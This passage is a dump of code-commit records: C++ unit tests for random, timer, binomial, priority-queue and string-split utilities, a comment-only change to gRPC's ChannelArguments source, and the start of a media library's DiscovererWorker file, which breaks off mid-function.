n;\n\n\n\tDEBUG(\"avg rand probability: \", avg);\n\tEXPECT_LE(avg, 0.6);\n\tEXPECT_GE(avg, 0.4);\n}\n\n\nTEST_F(AuxGTest, testTimer) {\n\tint64_t sleepTime = 1000; \/\/ sleep time in ms\n\tint64_t tolerance = 20;\n\n\tAux::Timer timer;\n\tDEBUG(\"sleeping for \", sleepTime, \" ms\");\n\ttimer.start();\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(sleepTime));\n\ttimer.stop();\n\tstd::chrono::duration<int64_t, std::milli> elapsed = timer.elapsed();\n\tint64_t ec = elapsed.count();\n\n\tEXPECT_LE(sleepTime - tolerance, ec) << \"elapsed time should be roughly equal to sleep time\";\n\tEXPECT_GE(sleepTime + tolerance, ec) << \"elapsed time should be roughly to sleep time\";\n}\n\n\nTEST_F(AuxGTest, testBinomial) {\n\tEXPECT_EQ(1, Aux::MissingMath::binomial(7,0));\n\tEXPECT_EQ(7, Aux::MissingMath::binomial(7,1));\n\tEXPECT_EQ(21, Aux::MissingMath::binomial(7,2));\n\tEXPECT_EQ(35, Aux::MissingMath::binomial(7,3));\n\tEXPECT_EQ(35, Aux::MissingMath::binomial(7,4));\n\tEXPECT_EQ(21, Aux::MissingMath::binomial(7,5));\n\tEXPECT_EQ(7, Aux::MissingMath::binomial(7,6));\n\tEXPECT_EQ(1, Aux::MissingMath::binomial(7,7));\n\n\n}\n\n\nTEST_F(AuxGTest, benchmarkBinomial) {\n\tAux::Timer timer;\n\tINFO(\"starting calculation\");\n\ttimer.start();\n\n\tint64_t n = 500;\n\tfor (int64_t k = 0; k < n; ++k) {\n\t\tAux::MissingMath::binomial(n, k);\n\t}\n\n\ttimer.stop();\n\n\tINFO(\"calculation finished after \", timer.elapsedTag());\n\n}\n\n\nTEST_F(AuxGTest, testVectorDebug) {\n\tstd::vector<int> vec(10, 42);\n\tINFO(vec);\n}\n\n\nTEST_F(AuxGTest, testPriorityQueue) {\n\ttypedef std::pair<double, uint64_t> ElemType;\n\n\t\/\/ fill vector\n\tstd::vector<ElemType> vec;\n\tvec.push_back(std::make_pair(0.5, 0));\n\tvec.push_back(std::make_pair(3.5, 1));\n\tvec.push_back(std::make_pair(4.5, 2));\n\tvec.push_back(std::make_pair(2.5, 3));\n\tvec.push_back(std::make_pair(0.75, 4));\n\tvec.push_back(std::make_pair(1.5, 5));\n\tvec.push_back(std::make_pair(8.5, 6));\n\tvec.push_back(std::make_pair(3.25, 7));\n\tvec.push_back(std::make_pair(4.75, 8));\n\tvec.push_back(std::make_pair(5.0, 9));\n\tvec.push_back(std::make_pair(11.5, 10));\n\tvec.push_back(std::make_pair(0.25, 11));\n\n\t\/\/ construct pq from vector\n\tAux::PrioQueue<double, uint64_t> pq(vec);\n\tEXPECT_EQ(pq.size(), vec.size());\n\n\tElemType elem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 0.25);\n\tEXPECT_EQ(elem.second, 11);\n\tEXPECT_EQ(pq.size(), vec.size() - 1);\n\n\telem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 0.5);\n\tEXPECT_EQ(elem.second, 0);\n\tEXPECT_EQ(pq.size(), vec.size() - 2);\n\n\telem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 0.75);\n\tEXPECT_EQ(elem.second, 4);\n\tEXPECT_EQ(pq.size(), vec.size() - 3);\n\n\telem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 1.5);\n\tEXPECT_EQ(elem.second, 5);\n\tEXPECT_EQ(pq.size(), vec.size() - 4);\n\n\telem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 2.5);\n\tEXPECT_EQ(elem.second, 3);\n\tEXPECT_EQ(pq.size(), vec.size() - 5);\n}\n\n\/\/FIXME make this working again\n\/*TEST_F(AuxGTest, testLogging) {\n\tstd::string cl = Aux::currentLogLevel();\n\t\/\/FATAL(\"FATAL ERROR\");\n\t\/\/ERROR(\"This may be here\");\n\tAux::setLoglevel(\"ERROR\");\n\t\/\/FATAL(\"fatal error\"<<3<<2.f);\n\t\/\/ERROR(\"normal error\"<<3<<2.f);\n\t\/\/WARN(\"just a warning\"<<3<<2.f);\n\t\/\/INFO(\"for the sake of information\", 3, 2.f);\n\t\/\/DEBUG(\"important debug outputs\", 3, 2.f);\n\t\/\/TRACE(\"trace\", 3, 2.f);\n\tAux::setLoglevel(\"INFO\");\n\tEXPECT_EQ(\"INFO\",Aux::currentLogLevel());\n\t\/\/FATAL(\"fatal error\", 3, 2.f);\n\t\/\/ERROR(\"normal error\", 3, 2.f);\n\t\/\/WARN(\"just a warning\", 3, 2.f);\n\t\/\/INFO(\"for the sake of information\", 3, 2.f);\n\t\/\/DEBUG(\"important debug outputs\", 3, 2.f);\n\t\/\/TRACE(\"trace\", 3, 2.f);\n\tAux::setLoglevel(\"TRACE\");\n\tEXPECT_EQ(\"TRACE\",Aux::currentLogLevel());\n\t\/\/FATAL(\"fatal error\", 3, 2.f);\n\t\/\/ERROR(\"normal error\", 3, 2.f);\n\t\/\/WARN(\"just a warning\", 3, 2.f);\n\t\/\/INFO(\"for the sake of information\", 3, 2.f);\n\t\/\/DEBUG(\"important debug outputs\", 3, 2.f);\n\t\/\/TRACE(\"trace\", 3, 2.f);\n\tAux::setLoglevel(cl);\t\n}*\/\n\n\nTEST_F(AuxGTest, testRandomChoice) {\n\tstd::vector<uint64_t> data = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n\tfor (uint64_t i = 0; i < 1000; ++i) {\n\t\tstd::ignore = Aux::Random::choice(data);\n\t}\n}\n\n\nTEST_F(AuxGTest, testRandomWeightedChoice) {\n\tstd::vector<std::pair<uint64_t, double> > data = {{0, 1.0}, {1, 0.0}};\n\tfor (uint64_t i = 0; i < 100; ++i) {\n\t\tauto element = Aux::Random::weightedChoice(data);\n\t\tEXPECT_EQ(0, element);\n\t}\n}\n\n#endif \/*NOGTEST *\/\n<commit_msg>Add Tests for Aux::Random::index() and Aux::StringTools::split()<commit_after>#ifndef NOGTEST\n\n\/*\n * AuxGTest.cpp\n *\n *  Created on: 10.01.2013\n *      Author: Christian Staudt (christian.staudt@kit.edu)\n *\/\n\n#include \"AuxGTest.h\"\n\n#include <iostream>\n#include <algorithm>\n#include <chrono>\n#include <thread>\n\n#include \"..\/Log.h\"\n#include \"..\/Random.h\"\n#include \"..\/Timer.h\"\n#include \"..\/MissingMath.h\"\n#include \"..\/PrioQueue.h\"\n#include \"..\/StringTools.h\"\n\nTEST_F(AuxGTest, produceRandomIntegers) {\n\tint64_t l = 0; \t\/\/ lower bound\n\tint64_t u = 100;\t\/\/ upper bound\n\n\tfor (int i = 0; i < 100; ++i) {\n\t\tTRACE(Aux::Random::integer(l, u));\n\t}\n}\n\nTEST_F(AuxGTest, testRandomInteger) {\n\tint64_t l = 0; \t\/\/ lower bound\n\tint64_t u = 10;\t\/\/ upper bound\n\tstd::vector<int64_t> rVector;\n\tint n = 1000;\n\tfor (int i = 0; i < n; ++i) {\n\t\tint64_t r = Aux::Random::integer(l, u);\n\t\tassert(l <= r);\n\t\tassert(r <= u);\n\t\trVector.push_back(r);\n\t}\n\n\tint64_t minR = *(min_element(rVector.begin(), rVector.end()));\n\tint64_t maxR = *(max_element(rVector.begin(), rVector.end()));\n\n\tEXPECT_EQ(minR, l);\n\tEXPECT_EQ(maxR, u);\n\n\tdouble sum = std::accumulate(rVector.begin(), rVector.end(), uint64_t{0});\n\tdouble avg = sum \/ n;\n\n\n\tDEBUG(\"avg rand integer: \", avg);\n\tEXPECT_LE(avg, 6.0);\n\tEXPECT_GE(avg, 4.0);\n}\n\nTEST_F(AuxGTest, testRandomReal) {\n\tstd::vector<double> rVector;\n\tint n = 1000;\n\tfor (int i = 0; i < n; ++i) {\n\t\tdouble r = Aux::Random::real();\n\t\tassert(0.0 <= r);\n\t\tassert(r < 1.0);\n\t\trVector.push_back(r);\n\t}\n\n\tdouble sum = std::accumulate(rVector.begin(), rVector.end(), 0.0);\n\tdouble avg = sum \/ n;\n\n\n\tDEBUG(\"avg rand probability: \", avg);\n\tEXPECT_LE(avg, 0.6);\n\tEXPECT_GE(avg, 0.4);\n}\n\nTEST_F(AuxGTest, testRandomProbability) {\n\tstd::vector<double> rVector;\n\tint n = 1000;\n\tfor (int i = 0; i < n; ++i) {\n\t\tdouble r = Aux::Random::probability();\n\t\tassert(0.0 <= r);\n\t\tassert(r <= 1.0);\n\t\trVector.push_back(r);\n\t}\n\n\tdouble sum = std::accumulate(rVector.begin(), rVector.end(), 0.0);\n\tdouble avg = sum \/ n;\n\n\n\tDEBUG(\"avg rand probability: \", avg);\n\tEXPECT_LE(avg, 0.6);\n\tEXPECT_GE(avg, 0.4);\n}\n\n\nTEST_F(AuxGTest, testTimer) {\n\tint64_t sleepTime = 1000; \/\/ sleep time in ms\n\tint64_t tolerance = 20;\n\n\tAux::Timer timer;\n\tDEBUG(\"sleeping for \", sleepTime, \" ms\");\n\ttimer.start();\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(sleepTime));\n\ttimer.stop();\n\tstd::chrono::duration<int64_t, std::milli> elapsed = timer.elapsed();\n\tint64_t ec = elapsed.count();\n\n\tEXPECT_LE(sleepTime - tolerance, ec) << \"elapsed time should be roughly equal to sleep time\";\n\tEXPECT_GE(sleepTime + tolerance, ec) << \"elapsed time should be roughly to sleep time\";\n}\n\n\nTEST_F(AuxGTest, testBinomial) {\n\tEXPECT_EQ(1, Aux::MissingMath::binomial(7,0));\n\tEXPECT_EQ(7, Aux::MissingMath::binomial(7,1));\n\tEXPECT_EQ(21, Aux::MissingMath::binomial(7,2));\n\tEXPECT_EQ(35, Aux::MissingMath::binomial(7,3));\n\tEXPECT_EQ(35, Aux::MissingMath::binomial(7,4));\n\tEXPECT_EQ(21, Aux::MissingMath::binomial(7,5));\n\tEXPECT_EQ(7, Aux::MissingMath::binomial(7,6));\n\tEXPECT_EQ(1, Aux::MissingMath::binomial(7,7));\n\n\n}\n\n\nTEST_F(AuxGTest, benchmarkBinomial) {\n\tAux::Timer timer;\n\tINFO(\"starting calculation\");\n\ttimer.start();\n\n\tint64_t n = 500;\n\tfor (int64_t k = 0; k < n; ++k) {\n\t\tAux::MissingMath::binomial(n, k);\n\t}\n\n\ttimer.stop();\n\n\tINFO(\"calculation finished after \", timer.elapsedTag());\n\n}\n\n\nTEST_F(AuxGTest, testVectorDebug) {\n\tstd::vector<int> vec(10, 42);\n\tINFO(vec);\n}\n\n\nTEST_F(AuxGTest, testPriorityQueue) {\n\ttypedef std::pair<double, uint64_t> ElemType;\n\n\t\/\/ fill vector\n\tstd::vector<ElemType> vec;\n\tvec.push_back(std::make_pair(0.5, 0));\n\tvec.push_back(std::make_pair(3.5, 1));\n\tvec.push_back(std::make_pair(4.5, 2));\n\tvec.push_back(std::make_pair(2.5, 3));\n\tvec.push_back(std::make_pair(0.75, 4));\n\tvec.push_back(std::make_pair(1.5, 5));\n\tvec.push_back(std::make_pair(8.5, 6));\n\tvec.push_back(std::make_pair(3.25, 7));\n\tvec.push_back(std::make_pair(4.75, 8));\n\tvec.push_back(std::make_pair(5.0, 9));\n\tvec.push_back(std::make_pair(11.5, 10));\n\tvec.push_back(std::make_pair(0.25, 11));\n\n\t\/\/ construct pq from vector\n\tAux::PrioQueue<double, uint64_t> pq(vec);\n\tEXPECT_EQ(pq.size(), vec.size());\n\n\tElemType elem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 0.25);\n\tEXPECT_EQ(elem.second, 11);\n\tEXPECT_EQ(pq.size(), vec.size() - 1);\n\n\telem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 0.5);\n\tEXPECT_EQ(elem.second, 0);\n\tEXPECT_EQ(pq.size(), vec.size() - 2);\n\n\telem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 0.75);\n\tEXPECT_EQ(elem.second, 4);\n\tEXPECT_EQ(pq.size(), vec.size() - 3);\n\n\telem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 1.5);\n\tEXPECT_EQ(elem.second, 5);\n\tEXPECT_EQ(pq.size(), vec.size() - 4);\n\n\telem = pq.extractMin();\n\tEXPECT_EQ(elem.first, 2.5);\n\tEXPECT_EQ(elem.second, 3);\n\tEXPECT_EQ(pq.size(), vec.size() - 5);\n}\n\n\/\/FIXME make this working again\n\/*TEST_F(AuxGTest, testLogging) {\n\tstd::string cl = Aux::currentLogLevel();\n\t\/\/FATAL(\"FATAL ERROR\");\n\t\/\/ERROR(\"This may be here\");\n\tAux::setLoglevel(\"ERROR\");\n\t\/\/FATAL(\"fatal error\"<<3<<2.f);\n\t\/\/ERROR(\"normal error\"<<3<<2.f);\n\t\/\/WARN(\"just a warning\"<<3<<2.f);\n\t\/\/INFO(\"for the sake of information\", 3, 2.f);\n\t\/\/DEBUG(\"important debug outputs\", 3, 2.f);\n\t\/\/TRACE(\"trace\", 3, 2.f);\n\tAux::setLoglevel(\"INFO\");\n\tEXPECT_EQ(\"INFO\",Aux::currentLogLevel());\n\t\/\/FATAL(\"fatal error\", 3, 2.f);\n\t\/\/ERROR(\"normal error\", 3, 2.f);\n\t\/\/WARN(\"just a warning\", 3, 2.f);\n\t\/\/INFO(\"for the sake of information\", 3, 2.f);\n\t\/\/DEBUG(\"important debug outputs\", 3, 2.f);\n\t\/\/TRACE(\"trace\", 3, 2.f);\n\tAux::setLoglevel(\"TRACE\");\n\tEXPECT_EQ(\"TRACE\",Aux::currentLogLevel());\n\t\/\/FATAL(\"fatal error\", 3, 2.f);\n\t\/\/ERROR(\"normal error\", 3, 2.f);\n\t\/\/WARN(\"just a warning\", 3, 2.f);\n\t\/\/INFO(\"for the sake of information\", 3, 2.f);\n\t\/\/DEBUG(\"important debug outputs\", 3, 2.f);\n\t\/\/TRACE(\"trace\", 3, 2.f);\n\tAux::setLoglevel(cl);\t\n}*\/\n\n\nTEST_F(AuxGTest, testRandomChoice) {\n\tstd::vector<uint64_t> data = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n\tfor (uint64_t i = 0; i < 1000; ++i) {\n\t\tstd::ignore = Aux::Random::choice(data);\n\t}\n}\n\n\nTEST_F(AuxGTest, testRandomWeightedChoice) {\n\tstd::vector<std::pair<uint64_t, double> > data = {{0, 1.0}, {1, 0.0}};\n\tfor (uint64_t i = 0; i < 100; ++i) {\n\t\tauto element = Aux::Random::weightedChoice(data);\n\t\tEXPECT_EQ(0, element);\n\t}\n}\n\nTEST_F(AuxGTest, testRandomIndex) {\n\tusing namespace Aux::Random;\n\t\n\tfor(unsigned i = 0; i <10; ++i) {\n\t\tEXPECT_EQ(0, index(1));\n\t}\n\t\n\tfor(unsigned i = 0; i <100; ++i) {\n\t\tauto tmp = index(10);\n\t\tEXPECT_LE(tmp, 9);\n\t\tEXPECT_GE(tmp, 0);\n\t}\n}\n\nTEST_F(AuxGTest, testSplit) {\n\tusing Vec = std::vector<std::string>;\n\tusing namespace Aux::StringTools;\n\t\n\tEXPECT_EQ(Vec{}, split(\"\"));\n\tEXPECT_EQ(Vec{\"\"}, split(\" \"));\n\t\n\t{\n\t\tauto expected = Vec{\"\", \"\"};\n\t\tEXPECT_EQ(expected, split(\"  \"));\n\t}\n\t{\n\t\tauto expected = Vec{\"\", \"a\"};\n\t\tEXPECT_EQ(expected, split(\" a\"));\n\t}\n\t{\n\t\tauto expected = Vec{\"a\"};\n\t\tEXPECT_EQ(expected, split(\"a \"));\n\t}\n\t{\n\t\tauto expected = Vec{\"a\"};\n\t\tEXPECT_EQ(expected, split(\"a\"));\n\t}\n\t{\n\t\tauto expected = Vec{\"a\", \"b\"};\n\t\tEXPECT_EQ(expected, split(\"a b\"));\n\t}\n\t{\n\t\tauto expected = Vec{\"\", \"a\", \"b\"};\n\t\tEXPECT_EQ(expected, split(\" a b \"));\n\t}\n\t{\n\t\tauto expected = Vec{\"abc\", \"def\", \"ghi\"};\n\t\tEXPECT_EQ(expected, split(\"abc def ghi\"));\n\t}\n\t{\n\t\tauto expected = Vec{\"abc\", \"def\", \"ghi\"};\n\t\tEXPECT_EQ(expected, split(\"abc def ghi \"));\n\t}\n}\n\n#endif \/*NOGTEST *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n * Copyright 2015-2016, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n#include <grpc++\/support\/channel_arguments.h>\n\n#include <sstream>\n\n#include <grpc\/impl\/codegen\/grpc_types.h>\n#include <grpc\/support\/log.h>\n#include \"src\/core\/channel\/channel_args.h\"\n\nnamespace grpc {\n\nChannelArguments::ChannelArguments() {\n  std::ostringstream user_agent_prefix;\n  user_agent_prefix << \"grpc-c++\/\" << grpc_version_string();\n  \/\/ This will be ignored if used on the server side.\n  SetString(GRPC_ARG_PRIMARY_USER_AGENT_STRING, user_agent_prefix.str());\n}\n\nChannelArguments::ChannelArguments(const ChannelArguments& other)\n    : strings_(other.strings_) {\n  args_.reserve(other.args_.size());\n  auto list_it_dst = strings_.begin();\n  auto list_it_src = other.strings_.begin();\n  for (auto a = other.args_.begin(); a != other.args_.end(); ++a) {\n    grpc_arg ap;\n    ap.type = a->type;\n    GPR_ASSERT(list_it_src->c_str() == a->key);\n    ap.key = const_cast<char*>(list_it_dst->c_str());\n    ++list_it_src;\n    ++list_it_dst;\n    switch (a->type) {\n      case GRPC_ARG_INTEGER:\n        ap.value.integer = a->value.integer;\n        break;\n      case GRPC_ARG_STRING:\n        GPR_ASSERT(list_it_src->c_str() == a->value.string);\n        ap.value.string = const_cast<char*>(list_it_dst->c_str());\n        ++list_it_src;\n        ++list_it_dst;\n        break;\n      case GRPC_ARG_POINTER:\n        ap.value.pointer = a->value.pointer;\n        ap.value.pointer.p = a->value.pointer.copy\n                                 ? a->value.pointer.copy(ap.value.pointer.p)\n                                 : ap.value.pointer.p;\n        break;\n    }\n    args_.push_back(ap);\n  }\n}\n\nvoid ChannelArguments::Swap(ChannelArguments& other) {\n  args_.swap(other.args_);\n  strings_.swap(other.strings_);\n}\n\nvoid ChannelArguments::SetCompressionAlgorithm(\n    grpc_compression_algorithm algorithm) {\n  SetInt(GRPC_COMPRESSION_ALGORITHM_ARG, algorithm);\n}\n\n\/\/ Note: a second call to this will add in front the result of the first call.\nvoid ChannelArguments::SetUserAgentPrefix(\n    const grpc::string& user_agent_prefix) {\n  if (user_agent_prefix.empty()) {\n    return;\n  }\n  bool replaced = false;\n  for (auto it = args_.begin(); it != args_.end(); ++it) {\n    const grpc_arg& arg = *it;\n    if (arg.type == GRPC_ARG_STRING &&\n        grpc::string(arg.key) == GRPC_ARG_PRIMARY_USER_AGENT_STRING) {\n      strings_.push_back(user_agent_prefix + \" \" + arg.value.string);\n      it->value.string = const_cast<char*>(strings_.back().c_str());\n      replaced = true;\n      break;\n    }\n  }\n  if (!replaced) {\n    SetString(GRPC_ARG_PRIMARY_USER_AGENT_STRING, user_agent_prefix);\n  }\n}\n\nvoid ChannelArguments::SetInt(const grpc::string& key, int value) {\n  grpc_arg arg;\n  arg.type = GRPC_ARG_INTEGER;\n  strings_.push_back(key);\n  arg.key = const_cast<char*>(strings_.back().c_str());\n  arg.value.integer = value;\n\n  args_.push_back(arg);\n}\n\nvoid ChannelArguments::SetPointer(const grpc::string& key, void* value) {\n  grpc_arg arg;\n  arg.type = GRPC_ARG_POINTER;\n  strings_.push_back(key);\n  arg.key = const_cast<char*>(strings_.back().c_str());\n  arg.value.pointer.p = value;\n  arg.value.pointer.copy = nullptr;\n  arg.value.pointer.destroy = nullptr;\n  args_.push_back(arg);\n}\n\nvoid ChannelArguments::SetString(const grpc::string& key,\n                                 const grpc::string& value) {\n  grpc_arg arg;\n  arg.type = GRPC_ARG_STRING;\n  strings_.push_back(key);\n  arg.key = const_cast<char*>(strings_.back().c_str());\n  strings_.push_back(value);\n  arg.value.string = const_cast<char*>(strings_.back().c_str());\n\n  args_.push_back(arg);\n}\n\nvoid ChannelArguments::SetChannelArgs(grpc_channel_args* channel_args) const {\n  channel_args->num_args = args_.size();\n  if (channel_args->num_args > 0) {\n    channel_args->args = const_cast<grpc_arg*>(&args_[0]);\n  }\n}\n\n}  \/\/ namespace grpc\n<commit_msg>add comments<commit_after>\/*\n *\n * Copyright 2015-2016, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n#include <grpc++\/support\/channel_arguments.h>\n\n#include <sstream>\n\n#include <grpc\/impl\/codegen\/grpc_types.h>\n#include <grpc\/support\/log.h>\n#include \"src\/core\/channel\/channel_args.h\"\n\nnamespace grpc {\n\nChannelArguments::ChannelArguments() {\n  std::ostringstream user_agent_prefix;\n  user_agent_prefix << \"grpc-c++\/\" << grpc_version_string();\n  \/\/ This will be ignored if used on the server side.\n  SetString(GRPC_ARG_PRIMARY_USER_AGENT_STRING, user_agent_prefix.str());\n}\n\nChannelArguments::ChannelArguments(const ChannelArguments& other)\n    : strings_(other.strings_) {\n  args_.reserve(other.args_.size());\n  auto list_it_dst = strings_.begin();\n  auto list_it_src = other.strings_.begin();\n  for (auto a = other.args_.begin(); a != other.args_.end(); ++a) {\n    grpc_arg ap;\n    ap.type = a->type;\n    GPR_ASSERT(list_it_src->c_str() == a->key);\n    ap.key = const_cast<char*>(list_it_dst->c_str());\n    ++list_it_src;\n    ++list_it_dst;\n    switch (a->type) {\n      case GRPC_ARG_INTEGER:\n        ap.value.integer = a->value.integer;\n        break;\n      case GRPC_ARG_STRING:\n        GPR_ASSERT(list_it_src->c_str() == a->value.string);\n        ap.value.string = const_cast<char*>(list_it_dst->c_str());\n        ++list_it_src;\n        ++list_it_dst;\n        break;\n      case GRPC_ARG_POINTER:\n        ap.value.pointer = a->value.pointer;\n        ap.value.pointer.p = a->value.pointer.copy\n                                 ? a->value.pointer.copy(ap.value.pointer.p)\n                                 : ap.value.pointer.p;\n        break;\n    }\n    args_.push_back(ap);\n  }\n}\n\nvoid ChannelArguments::Swap(ChannelArguments& other) {\n  args_.swap(other.args_);\n  strings_.swap(other.strings_);\n}\n\nvoid ChannelArguments::SetCompressionAlgorithm(\n    grpc_compression_algorithm algorithm) {\n  SetInt(GRPC_COMPRESSION_ALGORITHM_ARG, algorithm);\n}\n\n\/\/ Note: a second call to this will add in front the result of the first call.\n\/\/ An example is calling this on a copy of ChannelArguments which already has a\n\/\/ prefix. The user can build up a prefix string by calling this multiple times,\n\/\/ each with more significant identifier.\nvoid ChannelArguments::SetUserAgentPrefix(\n    const grpc::string& user_agent_prefix) {\n  if (user_agent_prefix.empty()) {\n    return;\n  }\n  bool replaced = false;\n  for (auto it = args_.begin(); it != args_.end(); ++it) {\n    const grpc_arg& arg = *it;\n    if (arg.type == GRPC_ARG_STRING &&\n        grpc::string(arg.key) == GRPC_ARG_PRIMARY_USER_AGENT_STRING) {\n      strings_.push_back(user_agent_prefix + \" \" + arg.value.string);\n      it->value.string = const_cast<char*>(strings_.back().c_str());\n      replaced = true;\n      break;\n    }\n  }\n  if (!replaced) {\n    SetString(GRPC_ARG_PRIMARY_USER_AGENT_STRING, user_agent_prefix);\n  }\n}\n\nvoid ChannelArguments::SetInt(const grpc::string& key, int value) {\n  grpc_arg arg;\n  arg.type = GRPC_ARG_INTEGER;\n  strings_.push_back(key);\n  arg.key = const_cast<char*>(strings_.back().c_str());\n  arg.value.integer = value;\n\n  args_.push_back(arg);\n}\n\nvoid ChannelArguments::SetPointer(const grpc::string& key, void* value) {\n  grpc_arg arg;\n  arg.type = GRPC_ARG_POINTER;\n  strings_.push_back(key);\n  arg.key = const_cast<char*>(strings_.back().c_str());\n  arg.value.pointer.p = value;\n  arg.value.pointer.copy = nullptr;\n  arg.value.pointer.destroy = nullptr;\n  args_.push_back(arg);\n}\n\nvoid ChannelArguments::SetString(const grpc::string& key,\n                                 const grpc::string& value) {\n  grpc_arg arg;\n  arg.type = GRPC_ARG_STRING;\n  strings_.push_back(key);\n  arg.key = const_cast<char*>(strings_.back().c_str());\n  strings_.push_back(value);\n  arg.value.string = const_cast<char*>(strings_.back().c_str());\n\n  args_.push_back(arg);\n}\n\nvoid ChannelArguments::SetChannelArgs(grpc_channel_args* channel_args) const {\n  channel_args->num_args = args_.size();\n  if (channel_args->num_args > 0) {\n    channel_args->args = const_cast<grpc_arg*>(&args_[0]);\n  }\n}\n\n}  \/\/ namespace grpc\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * Media Library\n *****************************************************************************\n * Copyright (C) 2015 Hugo Beauzée-Luyssen, Videolabs\n *\n * Authors: Hugo Beauzée-Luyssen<hugo@beauzee.fr>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#if HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include \"DiscovererWorker.h\"\n\n#include \"logging\/Logger.h\"\n#include \"MediaLibrary.h\"\n\nnamespace medialibrary\n{\n\nDiscovererWorker::DiscovererWorker( MediaLibraryPtr ml )\n    : m_run( false )\n    , m_cb( ml->getCb() )\n{\n}\n\nDiscovererWorker::~DiscovererWorker()\n{\n    stop();\n}\n\nvoid DiscovererWorker::addDiscoverer( std::unique_ptr<IDiscoverer> discoverer )\n{\n    m_discoverers.push_back( std::move( discoverer ) );\n}\n\nvoid DiscovererWorker::stop()\n{\n    bool running = true;\n    if ( m_run.compare_exchange_strong( running, false ) )\n    {\n        {\n            std::unique_lock<compat::Mutex> lock( m_mutex );\n            while ( m_tasks.empty() == false )\n                m_tasks.pop();\n        }\n        m_cond.notify_all();\n        m_thread.join();\n    }\n}\n\nbool DiscovererWorker::discover( const std::string& entryPoint )\n{\n    if ( entryPoint.length() == 0 )\n        return false;\n    enqueue( entryPoint, false );\n    return true;\n}\n\nvoid DiscovererWorker::reload()\n{\n    enqueue( \"\", true );\n}\n\nvoid DiscovererWorker::reload( const std::string& entryPoint )\n{\n    enqueue( entryPoint, true );\n}\n\nvoid DiscovererWorker::enqueue( const std::string& entryPoint, bool reload )\n{\n    std::unique_lock<compat::Mutex> lock( m_mutex );\n\n    m_tasks.emplace( entryPoint, reload );\n    if ( m_thread.get_id() == compat::Thread::id{} )\n    {\n        m_run = true;\n        m_thread = compat::Thread( &DiscovererWorker::run, this );\n    }\n    